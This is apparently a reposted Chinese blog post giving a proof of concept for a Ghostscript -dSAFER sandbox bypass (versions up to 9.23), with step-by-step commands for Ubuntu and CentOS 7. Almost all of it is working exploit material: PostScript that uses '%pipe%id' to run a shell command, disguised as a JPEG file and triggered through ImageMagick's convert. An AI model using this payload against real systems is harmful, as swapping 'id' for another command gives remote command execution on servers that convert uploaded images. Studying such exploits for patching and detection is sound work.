影响的版本 <= 9.23(全版本、全平台)
Ubuntu
开启 ghostscript
[email protected]:~$ gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null
依次输入
legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage
执行结果
poc
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops
用 vim 将 poc 保存为 test.jpeg,执行
[email protected]:~$ convert test.jpeg 1.jpg
执行结果,1.jpg 随便写
Centos 7
开启 ghostscript
[root[email protected] ~]# gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null
依次输入
legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage
执行结果
poc
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
原文地址:https://www.cnblogs.com/sch01ar/p/9523155.html
时间: 2024-11-29 08:19:56